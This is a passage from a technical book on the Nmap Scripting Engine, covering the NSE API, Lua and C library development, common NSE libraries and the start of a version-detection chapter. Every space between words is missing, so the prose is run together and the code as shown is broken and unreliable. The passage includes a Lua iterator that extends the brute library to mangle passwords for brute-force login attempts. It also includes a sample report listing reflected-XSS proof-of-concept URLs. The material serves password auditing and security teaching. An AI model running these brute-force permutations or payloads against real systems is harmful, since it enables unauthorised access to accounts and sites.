LicenseDevelopersarefreetousewhateverlicensetheypreferbut,iftheywouldliketosharetheirscriptsandincludethemwithofficialreleases,theymustuseeitherNmap’slicensesorlicensesoftheBerkeleySoftwareDistribution(BSD)style.

TipThedocumentationdescribingNmap’slicensecanbefoundathttp://nmap.org/book/man-legal.html#nmap-copyright.

DependenciesThisfielddescribesthepossibledependenciesbetweenNSEscripts.Thisisusefulwhenscriptsrequiretoberuninaspecificordersothattheycanusetheoutputofapreviousscriptinanotherscript.Thescriptslistedinthedependenciesfieldwillnotrunautomatically,andtheystillrequiretobeselectedtorun.

AsampleNSEscriptAsimpleNSEscriptlookslikethefollowing:

description=[[

Detaileddescriptiongoeshere

]]

---—@output—Somesampleoutput

author="PaulinoCalderon<calderon@websec.mx>"

license="SameasNmap--Seehttp://nmap.org/book/man-legal.html"

categories={"discovery","safe"}

—ScriptisexecutedforanyTCPport.

portrule=function(host,port)

returnport.protocol=="tcp"

end

---mainfunction

action=function(host,port)

end

ExploringenvironmentvariablesThereareafewenvironmentvariablesthatyouneedtoconsiderwhenwritingscriptsbecausetheywillbehelpful:

SCRIPT_PATH:ThisreturnstheabsolutepathoftherunningscriptSCRIPT_NAME:ThisreturnstherunningscriptnameSCRIPT_TYPE:Thisreturns“prerule”,“hostrule”,“portrule”,or“postrule”

UsetheSCRIPT_NAMEenvironmentvariableinsteadofhardcodingthenameofyourscript.Thisway,youwon’tneedtoupdatethescriptifyouendupchangingitsname.Forexample,youcoulduseittoreadscriptargumentsasfollows:

localarg1=stdnse.get_script_args(SCRIPT_NAME..".arg1")

Thestdnselibrarywillbeexploredlaterinthischapter.Thislibrarycontainstheget_script_args()functionthatcanbeusedtoreadscriptarguments.

AccessingtheNmapAPIThisisthecoreAPIthatallowsscriptstoobtainhostandportinformationsuchasnameresolution,state,versiondetectionresults,Macaddress,andmore(ifavailable).ItalsoprovidestheinterfacetoNsock,Nmap’ssocketlibrary,whichwillbecoveredinChapter8,WorkingwithNetworkSocketsandBinaryData.

NSEargumentsTheargumentspassedtothemainactionfunctionconsistoftwoLuatablescorrespondingtohostandportinformation.Theamountofinformationavailabledependsontheoptionsusedduringthescans.Forexample,thehost.ostablewillshownothingiftheOSdetectionmode(-O)wasnotset.

HosttableThehosttableisaregularLuatablewiththefollowingfields:

host.os:ThisisthetablecontainingOSmatches(onlyavailablewithOSdetection)host.ip:ThisistheIPaddressofthetargethost.name:ThisisthereverseDNSnameofthetarget(ifavailable)host.targetname:Thisisthehostnamespecifiedinthecommandlinehost.directly_connected:ThisisaBooleanthatindicateswhetherthetargetisonthesamenetworksegmenthost.mac_addr:ThisistheMacaddressofthetargethost.mac_addr_next_hop:ThisistheMacaddressofthefirsthoptothetargethost.mac_addr_src:ThisistheMacaddressofourclienthost.interface_mtu:ThisistheMTUvalueofyournetworkinterfacehost.bin_ip:ThisisthetargetIPaddressasa4-byteand16-bytestringforIPv4andIpv6,respectivelyhost.bin_ip_src:Thisisourclient’sIPaddressasa4-byteand16-bytestringforIPv4andIpv6,respectivelyhost.times:Thisisthetimingdataofthetargethost.traceroute:Thisisonlyavailablewith--traceroute

PorttableTheporttableisstoredasaLuatableanditmaycontainthefollowingfields:

port.number:Thisisthenumberofthetargetport.port.protocol:Thisistheprotocolofthetargetport.Itcouldbetcporudp.port.service:Thisistheservicenamedetectedviaportmatchingorwithservicedetection(-sV).port.version:Thisisthetablecontainingtheversioninformationdiscoveredbytheservicedetectionscan.Thetablecontainsfieldssuchasname,name_confidence,product,version,extrainfo,hostname,ostype,devicetype,service_tunnel,service_ftp,andcpecode.port.state:Thisreturnsinformationaboutthestateoftheport.SeeChapter1,IntroductiontotheNmapScriptingEngine,formoreinformationaboutportstates.

ExceptionhandlinginNSEscriptsTheexceptionhandlingmechanisminNSEwasdesignedtohelpwithnetworkingI/Otasks.Itworksinaprettystraightforwardmanner.Developersmustwrapthecodetheywanttomonitorforexceptionsinsideannmap.new_try()call.Thefirstvaluereturnedbythefunctionindicatesthecompletionstatus.Ifitreturnsfalseornil,thesecondreturnedvaluemustbeanerrorstring.Therestofthereturnvaluesinasuccessfulexecutioncanbesetandusedinanyway.

Thecatchfunctiondefinedbynmap.new_try()willexecutewhenanexceptionisraised.Let’slookatthemysql-vuln-cve2012-2122.nsescript(http://nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html).Inthisscript,acatchfunctionperformssomesimplegarbagecollectionifasocketisleftopened:

localcatch=function()socket:close()end

localtry=nmap.new_try(catch)

try(socket:connect(host,port))

response=try(mysql.receiveGreeting(socket))

NoteTheofficialdocumentationcanbefoundathttp://nmap.org/nsedoc/lib/nmap.html.

TheNSEregistryTheNSEregistryisaLuatabledesignedtostorevariablessharedbetweenallscriptsduringascan.Theregistryisstoredatthenmap.registryvariable.Forexample,someofthebrute-forcescriptswillstorevalidcredentialssothatotherscriptscanusethemtoperformauthenticatedactions.WeinsertvaluesasinanyotherregularLuatable:

table.insert(nmap.registry.credentials.http,{username=username,

password=password})

TipRemembertoselectuniqueregistrynamestoavoidoverridingvaluesusedbyotherscripts.

WritingNSElibrariesWhenwritingyourownNSEscripts,youwillsometimeswanttorefactorthecodeandmakeitavailableforothers.TheprocessofcreatingNSElibrariesisprettysimple,andthereareonlyafewthingstokeepinmind.NSElibrariesaremostlyinLua,butotherprogramminglanguagessuchasCandC++canalsobeused.

Let’screateasimpleLualibrarytoillustratehoweasyitis.First,rememberthatNSElibrariesarestoredinthe/nselib/directoryinyourNmapdatadirectorybydefault(seeChapter3,NSEDataFiles,tolearnhowtolocatethisdirectory).Startbycreatingafilenamedmyfirstlib.luainsideit.Insideournewlywrittenfile,placethefollowingcontent:

localstdnse=require"stdnse"

functionhello(msg,name)

returnstdnse.format("Hello'%s',\n%s",msg,name)

end

ThefirstlinedeclaresthedependencywiththestdnseNSElibrary,whichstoresusefulfunctionsrelatedtoinputhandling:

localstdnse=require"stdnse"

Therestisafunctiondeclarationthattakestwoargumentsandpassesthemthroughthestdnselibrary’sformatfunction:

functionhello(msg,name)

returnstdnse.format("Hello'%s',\n%s",msg,name)

end

Nowwecancallournewlibraryfromanyscriptinthefollowingway:

localmyfirstlib=require"myfirstlib"

myfirstlib.hello("foo","gameover!")

Rememberthatglobalnamecollisionmightoccurifyoudonotchoosemeaningfulnamesforyourglobalvariables.

TipTheofficialonlinedocumentationforthestdnseNSElibrarycanbefoundathttp://nmap.org/nsedoc/lib/stdnse.html.

ExtendingthefunctionalityofanNSElibraryTheavailableNSElibrariesarepowerfulandcomprehensivebut,sometimes,wewillfindourselvesneedingtomodifythemtoachievespecialtasks.Forme,itwastheneedtosimplifythepassword-auditingprocessthatperformswordlistmanglingwithothertools,andthenrunningthescriptsinthebrutecategory.Tosimplifythis,let’sexpandthefunctionalityofoneoftheavailableNSElibrariesandapersonalfavorite:thebruteNSElibrary.Inthisimplementation,wewilladdanewexecutionmodecalledpass-manglingthatwillperformcommonpasswordpermutationson-the-fly,savingusthetroubleofrunningthird-partytools.

Let’sstarttowriteournewiteratorfunction.Thiswillbeusedinournewexecutionmode(executionmodesaredescribedinChapter6,DevelopingBrute-forcePassword-auditingScripts).Inournewiterator,wedefinethefollowingmanglingrules:

digits:Appendscommondigitsfoundinpasswordssuchassingle-anddouble-digitnumbersandcommonpasswordcombinationssuchas123strings:Performscommonstringoperationssuchasreverse,repetition,capitalization,camelization,leetify,andsoonspecial:Appendscommonspecialcharacterssuchas!,$,#,andsoonall:Thisruleexecutesalltherulesdescribedbefore

Forexample,thewordsecretwillyieldthefollowingloginattemptswhenrunningournewbrutemodepass-mangling:

secret2014

secret2015

secret2013

secret2012

secret2011

secret2010

secret2009

secret0

secret1

secret2…

secret9

secret00

secret01…

secret99

secret123

secret1234

secret12345

s3cr3t

SECRET

S3CR3T

secret

terces

Secret

S3cr3t

secretsecret

secretsecretsecret

secret$

secret#

secret!

secret.

secret@

Ournewiteratorfunction,pw_mangling_iterator,willtakecareofgeneratingthepermutationscorrespondingtoeachrule.Thisisabasicsetofrulesthatonlytakescareofcommonpasswordpermutations.Youcanworkonmoreadvancedpassword-manglingrulesafterreadingthis:

pw_mangling_iterator=function(users,passwords,rule)

localfunctionnext_credential()

foruser,passinIterators.account_iterator(users,passwords,"pass")

do

ifrule=='digits'orrule=='all'then

—Currentyear,nextyear,5yearsback…

localyear=tonumber(os.date("%Y"))

coroutine.yield(user,pass..year)

coroutine.yield(user,pass..year+1)

fori=year,year-5,-1do

coroutine.yield(user,pass..i)

end

—Digitsfrom0to9

fori=0,9do

coroutine.yield(user,pass..i)

end

—Digitsfrom00to99

fori=0,9do

forx=0,9do

coroutine.yield(user,pass..i..x)

end

end

—Commondigitcombos

coroutine.yield(user,pass.."123")

coroutine.yield(user,pass.."1234")

coroutine.yield(user,pass.."12345")

end

ifrule=='strings'orrule=='all'then

—Basicstringstufflikeuppercase,

—reverse,camelizationandrepetition

localleetify={["a"]='4',

["e"]='3',

["i"]='1',

["o"]='0'}

localleetified_pass=pass:gsub("%a",leetify)

coroutine.yield(user,leetified_pass)

coroutine.yield(user,pass:upper())

coroutine.yield(user,leetified_pass:upper())

coroutine.yield(user,pass:lower())

coroutine.yield(user,pass:reverse())

coroutine.yield(user,pass:sub(1,1):upper()..pass:sub(2))

coroutine.yield(user,

leetified_pass:sub(1,1):upper()..leetified_pass:sub(2))

coroutine.yield(user,pass:rep(2))

coroutine.yield(user,pass:rep(3))

end

ifrule=='special'orrule=='all'then

—Commonspecialcharacterslike$,#,!

coroutine.yield(user,pass..'$')

coroutine.yield(user,pass..'#')

coroutine.yield(user,pass..'!')

coroutine.yield(user,pass..'.')

coroutine.yield(user,pass..'@')

end

end

whiletruedocoroutine.yield(nil,nil)end

end

returncoroutine.wrap(next_credential)

end

Wewilladdanewscriptargumenttodefinethebruteruleinsidethestartfunctionofthebruteengine:

localmangling_rules=stdnse.get_script_args("brute.mangling-rule")or

"all"

Inthiscase,wealsoneedtoaddanelseifclausetoexecuteourmodewhenthepass-manglingstringispassedastheargument.Thenewcodeblocklookslikethis:

elseif(modeandmode=='pass')then

self.iterator=self.iteratororIterators.pw_user_iterator(

usernames,passwords)

elseif(modeandmode=='pass-mangling')then

self.iterator=self.iteratororIterators.pw_mangling_iterator(

usernames,passwords,mangling_rules)

elseif(mode)then

returnfalse,("Unsupportedmode:%s"):format(mode)

Withthissimpleadditionofanewiteratorfunction,wehaveinevitablyimprovedover50scriptsthatusethisNSElibrary.Nowyoucanperformpasswordmanglingon-the-flyforallprotocolsandapplications.Atthispoint,itisveryclearwhycoderefactoringinNSEisamajoradvantageandwhyyoushouldtrytosticktotheavailableimplementationssuchastheDriverbruteengine.

NSEmodulesinC/C++SomemodulesincludedwithNSEarewritteninC++orC.TheselanguagesprovideenhancedperformancebutareonlyrecommendedwhenspeediscriticalortheCorC++implementationofalibraryisrequired.

Let’sbuildanexampleofasimpleNSElibraryinCtogetyoufamiliarwiththisprocess.Inthiscase,ourCmodulewillcontainamethodthatsimplyprintsamessageonthescreen.Overall,thestepstogetaClibrarytocommunicatewithNSEareasfollows:

1. PlaceyoursourceandheaderfilesforthelibraryinsideNmap’srootdirectory2. Addentriestothesource,header,andobjectfileforthenewlibraryinthe

Makefile.infile3. Linkthenewlibraryfromthense_main.ccfile

First,wewillcreateourlibrarysourceandheaderfiles.ThenamingconventionforClibrariesisthelibrarynameappendedtothense_string.Forexample,Forourlibrarytest,wewillnameourfilesnse_test.ccandnse_test.h.Placethefollowingcontentinafilenamednse_test.cc:

extern"C"{

#include"lauxlib.h"

#include"lua.h"

}

#include"nse_test.h"

staticinthello_world(lua_State*L){

printf("HelloWorldFromaClibrary\n");

return1;

}

staticconststructluaL_Regtestlib[]={

{"hello",hello_world},

{NULL,NULL}

};

LUALIB_APIintluaopen_test(lua_State*L){

luaL_newlib(L,testlib);

return1;

}

Thenplacethiscontentinthense_test.hlibraryheaderfile:

#ifndefTESTLIB

#defineTESTLIB

#defineTESTLIBNAME"test"

LUALIB_APIintluaopen_test(lua_State*L);

#endif

Makethefollowingmodificationstothense_main.ccfile:

1. Includethelibraryheaderatthebeginningofthefile:

#include<nse_test.h>

2. Lookfortheset_nmap_libraries(lua_State*L)functionandupdatethelibsvariabletoincludethenewlibrary:

staticconstluaL_Reglibs[]={

{NSE_PCRELIBNAME,luaopen_pcrelib},

{NSE_NMAPLIBNAME,luaopen_nmap},

{NSE_BINLIBNAME,luaopen_binlib},

{BITLIBNAME,luaopen_bit},

{TESTLIBNAME,luaopen_test},

{LFSLIBNAME,luaopen_lfs},

{LPEGLIBNAME,luaopen_lpeg},

#ifdefHAVE_OPENSSL

{OPENSSLLIBNAME,luaopen_openssl},

#endif

{NULL,NULL}

};

3. AddtheNSE_SRC,NSE_HDRS,andNSE_OBJSvariablestoMakefile.in:

NSE_SRC=nse_main.ccnse_utility.ccnse_nsock.ccnse_dnet.ccnse_fs.cc

nse_nmaplib.ccnse_debug.ccnse_pcrelib.ccnse_binlib.ccnse_bit.cc

nse_test.ccnse_lpeg.cc

NSE_HDRS=nse_main.hnse_utility.hnse_nsock.hnse_dnet.hnse_fs.h

nse_nmaplib.hnse_debug.hnse_pcrelib.hnse_binlib.hnse_bit.h

nse_test.hnse_lpeg.h

NSE_OBJS=nse_main.onse_utility.onse_nsock.onse_dnet.onse_fs.o

nse_nmaplib.onse_debug.onse_pcrelib.onse_binlib.onse_bit.o

nse_test.onse_lpeg.o

NowwejustneedtorecompileandcreateasampleNSEscripttotestournewlibrary.

4. Createafilenamednse-test.nseinsideyourscriptsfolderwiththefollowingcontent:

localtest=require"test"

description=[[

TestscriptthatcallsamethodfromaClibrary

]]

author="PaulinoCalderon<calderon()websec.mx>"

license="SameasNmap--Seehttp://nmap.org/book/man-legal.html"

categories={"safe"}

portrule=function()returntrueend

action=function(host,port)

localc=test.hello()

end

5. Finally,weexecuteourscript.Inthiscase,wewillseetheHelloWorldFromaClibrarymessagewhenthescriptisexecuted:

$nmap-p80--scriptnse-testscanme.nmap.org

StartingNmap6.47SVN(http://nmap.org)at2015-01-1323:41CST

HelloWorldFromaClibrary

Nmapscanreportforscanme.nmap.org(74.207.244.221)

Hostisup(0.12slatency).

PORTSTATESERVICE

80/tcpopenhttp

Nmapdone:1IPaddress(1hostup)scannedin0.79seconds

NoteTolearnmoreaboutLua’sCAPIandhowtoruncompiledCmodules,checkouttheofficialdocumentationathttp://www.lua.org/manual/5.2/manual.html#4andhttp://nmap.org/book/nse-library.html.

ExploringotherpopularNSElibrariesLet’sbrieflyreviewsomeofthemostcommonlibrariesthatyouwilllikelyneedduringthedevelopmentofyourownscripts.Thereare107availablelibrariesatthemoment,butthefollowinglibrariesmustberememberedatalltimeswhendevelopingyourownscriptsinordertoimprovetheirquality.

stdnseThislibrarycontainsmiscellaneousfunctionsusefulforNSEdevelopment.Ithasfunctionsrelatedtotiming,parallelism,outputformatting,andstringhandling.

Thefunctionsthatyouwillmostlikelyneedinascriptareasfollows:

stdnse.get_script_args:Thisgetsscriptargumentspassedviathe--script-argsoption:

localthreads=stdnse.get_script_args(SCRIPT_NAME..".threads")or3

stdnse.debug:Thisprintsadebugmessage:

stdnse.debug2("Thisisadebugmessageshownfordebugginglevel2or

higher")

stdnse.verbose:Thisprintsaformattedverbositymessage:

stdnse.verbose1("notrunningforlackofprivileges.")

stdnse.strjoin:Thisjoinsastringwithaseparatorstring:

localoutput=stdnse.strjoin("\n",output_lines)

stdnse.strsplit:Thissplitsastringbyadelimiter:

localheaders=stdnse.strsplit("\r\n",headers)

TipTheofficialonlinedocumentationforthestdnseNSElibrarycanbefoundathttp://nmap.org/nsedoc/lib/stdnse.html.

opensslThisistheinterfacetotheOpenSSLbindingsusedcommonlyinencryption,hashing,andmultiprecisionintegers.ItsavailabilitydependsonhowNmapwasbuilt,butwecanalwayscheckwhetherit’savailablewiththehelpofapcall()protectedcall:

ifnotpcall(require,"openssl")then

action=function(host,port)

stdnse.print_debug(2,"Skipping\"%s\"becauseOpenSSLismissing.",

id)

end

end

action=actionorfunction(host,port)

...

end

TipTheofficialonlinedocumentationfortheopensslNSElibrarycanbefoundathttp://nmap.org/nsedoc/lib/openssl.html.

targetThisisautilitylibrarydesignedtomanageascanqueueofnewlydiscoveredtargets.ItenablesNSEscriptsrunningwithprerule,hostrule,orportruleexecutionrulestoaddnewtargetstothecurrentscanqueueofNmapon-the-fly.IfyouarewritinganNSEscriptbelongingtothediscoverycategory,Iencourageyoutousethislibraryinthescript.

Toaddtargets,simplycallthetarget.addfunction:

localstatus,err=target.add("192.168.1.1","192.168.1.2",...)

TipTheofficialonlinedocumentationforthetargetNSElibrarycanbefoundathttp://nmap.org/nsedoc/lib/target.html.

shortportThislibraryisdesignedtohelpbuildportrules(seeChapter1,IntroductiontotheNmapScriptingEngine).Itattemptstocollectinoneplacethemostcommonportrulesusedbyscriptdevelopers.Touseit,wesimplyloadthelibraryandassignthecorrespondingportrule:

localshortport=require"shortport"

portrule=shortport.http

Themostcommonfunctionsthatyouarelikelytoneedareasfollows:

http:ThisistheportruletomatchHTTPservices:

portrule=shortport.http

port_or_service:Thisistheportruletomatchaportnumberorservicename:

portrule=shortport.port_or_service(177,"xdmcp","udp")

portnumber:Thisistheportruletomatchaportoralistofports:

portrule=shortport.portnumber(69,"udp")

TipTheofficialonlinedocumentationfortheshortportNSElibrarycanbefoundathttp://nmap.org/nsedoc/lib/shortport.html.

credsThislibrarymanagescredentialsfoundbythescripts.Itsimplystoresthecredentialsintheregistry,butitprovidesacleaninterfacetoworkwiththedatabase.

Toaddcredentialstothedatabase,yousimplyneedtocreateacredsobjectandcalltheaddfunction:

localc=creds.Credentials:new(SCRIPT_NAME,host,port)

c:add("packtpub","secret",creds.State.VALID)

WewilllearnmoreaboutthislibraryinChapter6,DevelopingBrute-forcePassword-auditingScripts,whenwewriteourownbrute-forceNSEscript.

TipTheofficialonlinedocumentationforthecredsNSElibrarycanbefoundathttp://nmap.org/nsedoc/lib/creds.html.

vulnsThislibraryisdesignedtohelpdeveloperspresentthestateofahostwithregardtosecurityvulnerabilities.Itmanagesandpresentsconsistentandhuman-readablereportsforeveryvulnerabilityfoundinthesystembyNSE.Areportproducedbythislibrarylookslikethefollowing:

PORTSTATESERVICEREASON

80/tcpopenhttpsyn-ack

http-phpself-xss:

VULNERABLE:

Unsafeuseof$_SERVER["PHP_SELF"]inPHPfiles

State:VULNERABLE(Exploitable)

Description:

PHPfilesarenothandlingsafelythevariable$_SERVER["PHP_SELF"]

causingReflectedCrossSiteScriptingvulnerabilities.

Extrainformation:

Vulnerablefileswithproofofconcept:

http://calder0n.com/sillyapp/three.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/sc

ript%3E

http://calder0n.com/sillyapp/secret/2.php/%27%22/%3E%3Cscript%3Ealert(1)%3C

/script%3E

http://calder0n.com/sillyapp/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script

%3E

http://calder0n.com/sillyapp/secret/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C

/script%3E

Spideringlimitedto:maxdepth=3;maxpagecount=20;

withinhost=calder0n.com

References:

https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

http://php.net/manual/en/reserved.variables.server.php

ThislibrarywillbecoveredindetailinChapter10,VulnerabilityDetectionandExploitation.

TipTheofficialonlinedocumentationforthevulnsNSElibrarycanbefoundathttp://nmap.org/nsedoc/lib/vulns.html.

httpNmaphasbecomeapowerfulWebvulnerabilityscanner,andmostofthetasksrelatedtoHTTPcanbedonewiththislibrary.Thelibraryissimpletouse,allowsrawheaderhandling,andevenhassupportforHTTPpipelining.

Ithasmethodssuchashttp.head(),http.get(),andhttp.post(),correspondingtothecommonHTTPmethodsHEAD,GET,andPOST,respectively,butitalsohasagenericmethodnamedhttp.generic_request()toprovidemoreflexibilityfordeveloperswhomaywanttotrymoreobscureHTTPverbs.

AsimpleHTTPGETcallcanbemadewithasinglemethodcall:

localrespo=http.get(host,port,uri)

TipTheofficialonlinedocumentationforthehttpNSElibrarycanbefoundathttp://nmap.org/nsedoc/lib/http.html.

SummaryInthischapter,youlearnedwhatinformationisavailabletoNSEandhowtoworkwiththisdatatoachievedifferenttaskswithNmap.YoualsolearnedhowthemainNSEAPIworksandwhatthestructuresofscriptsandlibrariesarelike.WecoveredtheprocessofdevelopingnewNSElibrariesinCandLua.NowyoushouldhavealloftheknowledgeinLuaandtheinnerworkingsofNSErequiredtostartwritingyourownscriptsandlibraries.

ThenextchapterwillcovertheversiondetectioncapabilitiesofNSE,andwewillstartwritingourownversiondetectionscripts.

Chapter5.EnhancingVersionDetectionTheNmapScriptingEngine(NSE)enhancesitsalreadypowerfulversiondetectionfunctionalitybyallowingscriptstoperformadditionalfingerprintingtasksagainstscannedtargets.Someversionscriptscanbetranslatedintoprobes,andsometimesitiseasiertowriteanNSEscript.Inthischapter,youwilllearnwhentodoso.

NSEscriptsbelongingtotheversioncategorywillautomaticallyrunwhenversiondetectionmodeisenabled.Therefore,itisimportantthatwelearnhowtorecognizewhetherascriptbelongstothiscategoryornot.Also,scriptexecutionrulesshouldnottriggerfalsepositivesiftheyarerunagainstadifferentservice.

YouwilllearnthefundamentalsofversiondetectionwithNSEandhowtowriteyourownNSEscripts.Wewillreviewthemostcommonexecutionhostandportrulesinversionscripts;bytheendofthechapter,youwillknoweverythingaboutversiondetectioninNmapandNSE.

Youmayskipthischapterifyouarefamiliarwiththefollowingtopics:

TheinnerworkingsofversiondetectioninNmapAdjustingtheraritylevelofversionscansWritingyourownversiondetectionprobesWritingyourownNSEversionscripts

Sometimes,youwillstumblewithunrecognizedservices.Usethoseopportunitiestopracticewhatyoulearnhere,andcontributetothecommunitybysharingyournewversionscriptsandprobes.

UnderstandingversiondetectionmodeinNSEThe-sVNmapoptionenablesservicedetectionmode,allowingitsuserstodeterminetheversionofarunningservice.Ifversiondetectionisenabled,theresultstablewillcontaintheadditionalVERSIONcolumn:

PORTSTATESERVICEVERSION

22/tcpopensshOpenSSH5.3p1Debian3ubuntu7(UbuntuLinux;protocol2.0)

25/tcpfilteredsmtp

80/tcpopenhttpApachehttpd2.2.14((Ubuntu))

9929/tcpopennping-echoNpingecho

ServiceInfo:OS:Linux;CPE:cpe:/o:linux:linux_kernel

Servicedetectionperformed.Pleasereportanyincorrectresultsat

http://nmap.org/submit/.

Nmapdone:1IPaddress(1hostup)scannedin16.63seconds

Theamountofreturnedinformationvaries,butitisveryusefulasapenetrationtesterlookingforsecurityvulnerabilitiesorevenasasystemadministratorkeepinganeyeonyournetworkforunusualchanges.Rememberthattherewillbeservicesthatallowyoutolistsupportedmodulesandobtainverydetailedprotocolorserviceinformation.

Toenableservicedetectionmode,usethe-sVflag:

#nmap-sVscanme.nmap.org

TipThe-sCflagusedtoenableNSEwillnotautomaticallyrunversionscripts.Itisalsonecessarytoincludethe-sVflagifyouareinterestedinthatinformation:

#nmap-sV-sC<target>

PhasesofversiondetectionAversiondetectionscanisdividedintothefollowingphases:

Iftheportisopened,aNULLprobeissenttothatservice.Thistypeofprobeconsistsofopeningtheconnectionandlisteningforanydatasentbythetarget.Theresponseismatchedagainstallthedifferentsignaturesinthedatabasetoproduceasoftmatchorhardmatch.Ifthematchisasoftmatch,itwilllaunchtheadditionalcorrespondingprobes.IftheinitialNULLprobefailedtofingerprinttheservice,theTCPandUDPprobesstoredinnmap-service-probesaresent.ThisphaseworkssimilarlytotheNULLprobeexceptthatastringissentasapayloadforeachprobe.Asdescribedpreviously,anyresponsegeneratedbytheseprobeswillbematchedagainstalistofknownsignatures.Ifboththepreviousphasesfail,Nmapwilllaunchservice-specificprobessequentially.Thispartisheavilyoptimizedtoavoidnetworkstatecorruptionandreducethenumberofprobesneededtomatchaservice.ProbestodeterminewhetherthetargetisrunningSSLaresent.Ifaserviceisdetected,theservicescanisrestartedagainstthatporttodeterminethelisteningservice.AseriesofprobestoidentifyRPC-basedservicesislaunched.Ifaprobegeneratesanunrecognizedresponse,Nmapwillgenerateafingerprintthatcanbesubmittedtoimprovethedatabase.

AdjustingtheraritylevelofaversionscanThenumberofprobessenttoeachservicedependsonavaluenamedraritythateachprobedefinesinthe/nmap-service-probesfile.Youcansetthenumberofprobestousebychangingtheintensitylevelofthescanwiththe--version-intensity[0-9]argument:

#nmap-sV–-version-intensity9<target>

NoteHigherversionintensityscanswillproducebetterresultsbuttakeupconsiderablylongertime.Thedefaultservicescan’srarityvalueis7.Therearealsoaliasessuchas--version-lightand--version-all.Theycorrespondtosettingtherarityvalueto2and9,respectively.

UpdatingtheversionprobesdatabaseTheversionprobesdatabaseisstoredinthenmap-service-probesfileandisconstantlyupdated,thankstousersubmissions.YoucanhelpNmapimproveitsdetectionbysubmittingnewfingerprintsorfixestohttp://insecure.org/cgi-bin/submit.cgi?.

TipIfyouaresubmittingfixesornewprobes,Irecommendreadingtheofficialdocumentationfirst.Itisavailableathttp://nmap.org/book/vscan-community.html#vscan-submit-prints.

TakingacloserlookatthefileformatThenmap-service-probesfileconsistsofseveraldirectivesthatdefinethebehaviorofthescanner.Youmayupdatethisfileifyouwouldliketodothingssuchasexcludingportsfromversiondetection,adjustingthetimeoutvalueoftheNULLprobe,orfixingapatternmatch.Thefollowingisasamplefiletakenfromhttp://nmap.org/book/vscan-fileformat.htmlthatillustratesthemainsectionsofthisfile:

#TheExcludedirectivetakesacommaseparatedlistofports.

#Theformatisexactlythesameasthe-pswitch.

ExcludeT:9100-9107

#ThisistheNULLprobethatjustcomparesanybannersgiventous

##############################NEXTPROBE##############################

ProbeTCPNULLq||

#Waitforatleast5secondsfordata.OtherwiseanNmapdefaultisused.

totalwaitms5000

#Windows2003

matchftpm/^220[-]MicrosoftFTPService\r\n/p/Microsoftftpd/

matchftpm/^220ProFTPD(\d\S+)Server/p/ProFTPD/v/$1/

softmatchftpm/^220[-.\w]+ftp.*\r\n$/i

matchidentm|^flock\(\)onclosedfilehandle.*midentd|p/midentd/

i/broken/

matchimapm|^\*OKWelcometoBincIMAPv(\d[-.\w]+)|p/BincIMAPd/v$1/

softmatchimapm/^\*OK[-.\w]+imap[-.\w]+\r\n$/i

matchlucent-fwadmm|^0001;2$|p/LucentSecureManagementServer/

matchmeetingmakerm/^\xc1,$/p/MeetingMakercalendaring/

#lopster1.2.0.1onLinux1.1

matchnapsterm|^1$|p/LopsterNapsterP2Pclient/

ProbeUDPHelpq|help\r\n\r\n|

rarity3

ports7,13,37

matchchargenm|@ABCDEFGHIJKLMNOPQRSTUVWXYZ|

matchechom|^help\r\n\r\n$|

TipDocumentationofallthedirectivesusedinthisfileformatisavailableathttp://nmap.org/book/vscan-fileformat.html.

ExcludingscannedportsfromversiondetectionNmapdoesnotsendversiondetectionprobestoTCPportsbetween9100and9107bydefault.Thisistoavoidsomeknownprintersthatprintrandomgarbagewhenprobesaresent.Ifyouwouldliketoaddotherservicesthatapplytoyourownenvironment,youmayaddtheminthenmap-service-probesfileusingtheExcludedirective:

ExcludeT:9100-9107

NoteAllexcluderulesareignoredwhenNmapisusedwiththe--allportsoption.

UsingfallbackstomatchotherversionprobesFallbacksattempttoimprovetheefficiencyofthedetectionprocessbyallowingprobestomatchregularexpressionscorrespondingtootherprobes.Thismechanismallowsustoperformcheatsincertainservicestomatchresponsesofpreviousprobes.Moreinformationonthisdirectivecanbefoundinthefileformatsectionofthischapter—forexample:

ProbeTCPGetRequestq|GET/HTTP/1.0\r\n\r\n|

rarity1

ports1,70,79,80-

85,88,113,139,143,280,497,505,514,515,540,554,591,620,631,783,888,898,900,9

01,993,995,1026,1080,1042,1214,1220,1234,1311,1314,1344,1503,1610,1611,1830

,1900,2001,2002,2030,2064,2160,2306,2396,2525,2715,2869,3000,3002,3052,3128

,3280,3372,3531,3689,3872,4000,4444,4567,4660,4711,5000,5427,5060,5222,5269

,5280,5432,5800-

5803,5900,6103,6346,6544,6600,6699,6969,7002,7007,7070,7100,7402,7776,8000-

8010,8080-8085,8088,8118,8181,8443,8880-

8888,9000,9001,9030,9050,9080,9090,9999,10000,10001,10005,11371,13013,13666

,13722,14534,15000,17988,18264,31337,40193,50000,55555

sslports443,4443

ProbeTCPHTTPOptionsq|OPTIONS/HTTP/1.0\r\n\r\n|

rarity4

ports80-

85,2301,443,631,641,3128,5232,6000,8080,8888,9999,10000,10031,37435,49400

fallbackGetRequest

Gettingtoknowpost-processorsPost-processorsweredesignedtoperformadditionaltasksafterthedetectionofcertainservices.Therearetwopost-processors:

NSESSLservices

NmapScriptingEngineNSEisusedtoperformadvancedfingerprintingagainstdetectedservicestoovercomethelimitationsofaregularexpressiondetectionsystem.Thispost-processorisinchargeofpassingthehostandportdatatothecorrespondingNSEversionscript.

TipTheRPCgrindingpost-processorhasbeenremovedinrecentversionsduetothemigrationofthisfunctionalitytotherpc-grindNSEscript.ThisisanotherproofoftheefficiencyofNSE.Currently,thereareotherfeaturesbeingportedtoNSE,includingportscanning.

SSLTheSSLpost-processoridentifiesservicesrunningovertheSSLprotocolandcreatesanencryptedsessionfromwhereaservicedetectionscanislaunchedtofingerprinttheunderlyingservice.ThisallowstheNmapversiondetectionsystemtocorrectlyfingerprintservicessuchasSMTPS,HTTPS,FTPS,andmanyothercommonservicesrunningonSSL.

NoteThispost-processordependsontheexistenceofOpenSSL(http://openssl.org)inthesystem.

WritingyourownversiondetectionscriptsWhenwritingourownNSEscripts,wewillusetheAPIprovidedbyNmaptointeractwiththehostandportdatabase.Towriteaversionscript,wesimplyneedtodothefollowing:

1. Addyourscripttothecategoryversion.2. Writethecorrespondingportrule.3. Settheportversioninourscriptaftersuccessfuldetection.

DefiningthecategoryofaversiondetectionscriptThefirststepisverystraightforward.InyourNSEscript,addthecategoryfieldasfollows:

category={"version"}

